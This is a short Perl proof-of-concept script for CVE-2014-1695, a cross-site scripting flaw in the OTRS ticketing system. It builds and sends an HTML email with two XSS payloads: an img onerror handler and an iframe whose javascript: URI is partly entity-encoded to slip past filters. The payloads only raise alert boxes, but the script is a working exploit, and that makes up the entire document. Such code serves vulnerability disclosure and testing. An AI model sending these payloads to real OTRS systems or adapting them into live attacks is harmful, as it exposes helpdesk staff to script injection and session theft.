cve-2014-1695.pl

#!/usr/bin/perl -w
# OTRS XSS PoC
# (C) 2014 Adam Ziaja <adam@adamziaja.com> http://adamziaja.com
use strict;
use MIME::Lite;
my $msg = MIME::Lite->new(
    Subject => 'OTRS XSS PoC',
    From    => 'attacker@example.com',
    To      => 'otrs@example.com',
    Type    => 'text/html',
    Data =>
        '<html><body><img/onerror="alert(\'XSS1\')"src=a><iframe src=javasc&#x72ipt:alert(\'XSS2\') ></body></html>'
);
$msg->send();